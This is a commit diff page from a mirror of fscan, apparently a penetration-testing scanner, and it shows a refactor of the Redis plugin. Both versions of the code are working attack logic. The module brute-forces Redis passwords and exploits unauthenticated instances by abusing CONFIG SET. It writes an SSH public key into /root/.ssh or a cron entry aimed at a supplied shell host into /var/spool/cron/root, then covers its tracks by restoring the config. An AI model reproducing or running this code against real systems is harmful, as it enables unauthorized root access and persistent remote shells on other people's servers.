mirrors/fscan
1
0
Fork 0
mirror of https://github.com/shadow1ng/fscan.git synced 2025-07-14 05:12:36 +08:00
Code Issues Actions Packages Projects Releases Wiki Activity

Update redis.go

Browse Source
This commit is contained in:
影舞者 2023-11-13 11:16:12 +08:00 committed by GitHub
parent 52c680af0d
commit 0d717d6676
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 40 additions and 40 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

80
Plugins/redis.go
View File

@ -3,12 +3,11 @@ package Plugins
import ( import (
"bufio" "bufio"
"fmt" "fmt"
"github.com/shadow1ng/fscan/common"
"net" "net"
"os" "os"
"strings" "strings"
"time" "time"
"github.com/shadow1ng/fscan/common"
) )
var ( var (
@ -16,19 +15,19 @@ var (
dir string dir string
) )
func RedisScan(info *common.HostInfo, flags common.Flags) (tmperr error) { func RedisScan(info *common.HostInfo) (tmperr error) {
starttime := time.Now().Unix() starttime := time.Now().Unix()
flag, err := RedisUnauth(info, flags) flag, err := RedisUnauth(info)
if flag && err == nil { if flag == true && err == nil {
return err return err
} }
if flags.IsBrute { if common.IsBrute {
return return
} }
for _, pass := range common.Passwords { for _, pass := range common.Passwords {
pass = strings.Replace(pass, "{user}", "redis", -1) pass = strings.Replace(pass, "{user}", "redis", -1)
flag, err := RedisConn(info, flags, pass) flag, err := RedisConn(info, pass)
if flag && err == nil { if flag == true && err == nil {
return err return err
} else { } else {
errlog := fmt.Sprintf("[-] redis %v:%v %v %v", info.Host, info.Ports, pass, err) errlog := fmt.Sprintf("[-] redis %v:%v %v %v", info.Host, info.Ports, pass, err)
@ -37,7 +36,7 @@ func RedisScan(info *common.HostInfo, flags common.Flags) (tmperr error) {
if common.CheckErrs(err) { if common.CheckErrs(err) {
return err return err
} }
if time.Now().Unix()-starttime > (int64(len(common.Passwords)) * flags.Timeout) { if time.Now().Unix()-starttime > (int64(len(common.Passwords)) * common.Timeout) {
return err return err
} }
} }
@ -45,10 +44,10 @@ func RedisScan(info *common.HostInfo, flags common.Flags) (tmperr error) {
return tmperr return tmperr
} }
func RedisConn(info *common.HostInfo, flags common.Flags, pass string) (flag bool, err error) { func RedisConn(info *common.HostInfo, pass string) (flag bool, err error) {
flag = false flag = false
realhost := fmt.Sprintf("%s:%v", info.Host, info.Ports) realhost := fmt.Sprintf("%s:%v", info.Host, info.Ports)
conn, err := common.WrapperTcpWithTimeout("tcp", realhost, common.Socks5{Address: flags.Socks5Proxy}, time.Duration(flags.Timeout)*time.Second) conn, err := common.WrapperTcpWithTimeout("tcp", realhost, time.Duration(common.Timeout)*time.Second)
defer func() { defer func() {
if conn != nil { if conn != nil {
conn.Close() conn.Close()
@ -57,7 +56,7 @@ func RedisConn(info *common.HostInfo, flags common.Flags, pass string) (flag boo
if err != nil { if err != nil {
return flag, err return flag, err
} }
err = conn.SetReadDeadline(time.Now().Add(time.Duration(flags.Timeout) * time.Second)) err = conn.SetReadDeadline(time.Now().Add(time.Duration(common.Timeout) * time.Second))
if err != nil { if err != nil {
return flag, err return flag, err
} }
@ -73,22 +72,22 @@ func RedisConn(info *common.HostInfo, flags common.Flags, pass string) (flag boo
flag = true flag = true
dbfilename, dir, err = getconfig(conn) dbfilename, dir, err = getconfig(conn)
if err != nil { if err != nil {
result := fmt.Sprintf("[+] Redis:%s %s", realhost, pass) result := fmt.Sprintf("[+] Redis %s %s", realhost, pass)
common.LogSuccess(result) common.LogSuccess(result)
return flag, err return flag, err
} else { } else {
result := fmt.Sprintf("[+] Redis:%s %s file:%s/%s", realhost, pass, dir, dbfilename) result := fmt.Sprintf("[+] Redis %s %s file:%s/%s", realhost, pass, dir, dbfilename)
common.LogSuccess(result) common.LogSuccess(result)
} }
err = Expoilt(realhost, conn, flags.RedisShell) err = Expoilt(realhost, conn)
} }
return flag, err return flag, err
} }
func RedisUnauth(info *common.HostInfo, flags common.Flags) (flag bool, err error) { func RedisUnauth(info *common.HostInfo) (flag bool, err error) {
flag = false flag = false
realhost := fmt.Sprintf("%s:%v", info.Host, info.Ports) realhost := fmt.Sprintf("%s:%v", info.Host, info.Ports)
conn, err := common.WrapperTcpWithTimeout("tcp", realhost, common.Socks5{Address: flags.Socks5Proxy}, time.Duration(flags.Timeout)*time.Second) conn, err := common.WrapperTcpWithTimeout("tcp", realhost, time.Duration(common.Timeout)*time.Second)
defer func() { defer func() {
if conn != nil { if conn != nil {
conn.Close() conn.Close()
@ -97,7 +96,7 @@ func RedisUnauth(info *common.HostInfo, flags common.Flags) (flag bool, err erro
if err != nil { if err != nil {
return flag, err return flag, err
} }
err = conn.SetReadDeadline(time.Now().Add(time.Duration(flags.Timeout) * time.Second)) err = conn.SetReadDeadline(time.Now().Add(time.Duration(common.Timeout) * time.Second))
if err != nil { if err != nil {
return flag, err return flag, err
} }
@ -113,54 +112,54 @@ func RedisUnauth(info *common.HostInfo, flags common.Flags) (flag bool, err erro
flag = true flag = true
dbfilename, dir, err = getconfig(conn) dbfilename, dir, err = getconfig(conn)
if err != nil { if err != nil {
result := fmt.Sprintf("[+] Redis:%s unauthorized", realhost) result := fmt.Sprintf("[+] Redis %s unauthorized", realhost)
common.LogSuccess(result) common.LogSuccess(result)
return flag, err return flag, err
} else { } else {
result := fmt.Sprintf("[+] Redis:%s unauthorized file:%s/%s", realhost, dir, dbfilename) result := fmt.Sprintf("[+] Redis %s unauthorized file:%s/%s", realhost, dir, dbfilename)
common.LogSuccess(result) common.LogSuccess(result)
} }
err = Expoilt(realhost, conn, flags.RedisShell) err = Expoilt(realhost, conn)
} }
return flag, err return flag, err
} }
func Expoilt(realhost string, conn net.Conn, redisShell string) error { func Expoilt(realhost string, conn net.Conn) error {
flagSsh, flagCron, err := testwrite(conn) flagSsh, flagCron, err := testwrite(conn)
if err != nil { if err != nil {
return err return err
} }
if flagSsh { if flagSsh == true {
result := fmt.Sprintf("[+] Redis:%v like can write /root/.ssh/", realhost) result := fmt.Sprintf("[+] Redis %v like can write /root/.ssh/", realhost)
common.LogSuccess(result) common.LogSuccess(result)
if redisShell != "" { if common.RedisFile != "" {
writeok, text, err := writekey(conn, redisShell) writeok, text, err := writekey(conn, common.RedisFile)
if err != nil { if err != nil {
fmt.Printf("[-] %s SSH write key errer: %s", realhost, text) fmt.Println(fmt.Sprintf("[-] %v SSH write key errer: %v", realhost, text))
return err return err
} }
if writeok { if writeok {
result := fmt.Sprintf("[+] %v SSH public key was written successfully", realhost) result := fmt.Sprintf("[+] Redis %v SSH public key was written successfully", realhost)
common.LogSuccess(result) common.LogSuccess(result)
} else { } else {
fmt.Println("[-] Redis:", realhost, "SSHPUB write failed", text) fmt.Println("[-] Redis ", realhost, "SSHPUB write failed", text)
} }
} }
} }
if flagCron { if flagCron == true {
result := fmt.Sprintf("[+] Redis:%v like can write /var/spool/cron/", realhost) result := fmt.Sprintf("[+] Redis %v like can write /var/spool/cron/", realhost)
common.LogSuccess(result) common.LogSuccess(result)
if redisShell != "" { if common.RedisShell != "" {
writeok, text, err := writecron(conn, redisShell) writeok, text, err := writecron(conn, common.RedisShell)
if err != nil { if err != nil {
return err return err
} }
if writeok { if writeok {
result := fmt.Sprintf("[+] %v /var/spool/cron/root was written successfully", realhost) result := fmt.Sprintf("[+] Redis %v /var/spool/cron/root was written successfully", realhost)
common.LogSuccess(result) common.LogSuccess(result)
} else { } else {
fmt.Println("[-] Redis:", realhost, "cron write failed", text) fmt.Println("[-] Redis ", realhost, "cron write failed", text)
} }
} }
} }
@ -261,7 +260,8 @@ func writecron(conn net.Conn, host string) (flag bool, text string, err error) {
return flag, text, err return flag, text, err
} }
if strings.Contains(text, "OK") { if strings.Contains(text, "OK") {
if _, err = conn.Write([]byte("save\r\n")); err != nil { _, err = conn.Write([]byte("save\r\n"))
if err != nil {
return flag, text, err return flag, text, err
} }
text, err = readreply(conn) text, err = readreply(conn)
@ -377,16 +377,16 @@ func recoverdb(dbfilename string, dir string, conn net.Conn) (err error) {
if err != nil { if err != nil {
return return
} }
_, err = readreply(conn)
if _, err = readreply(conn); err != nil { if err != nil {
return return
} }
_, err = conn.Write([]byte(fmt.Sprintf("CONFIG SET dir %s\r\n", dir))) _, err = conn.Write([]byte(fmt.Sprintf("CONFIG SET dir %s\r\n", dir)))
if err != nil { if err != nil {
return return
} }
_, err = readreply(conn)
if _, err = readreply(conn); err != nil { if err != nil {
return return
} }
return return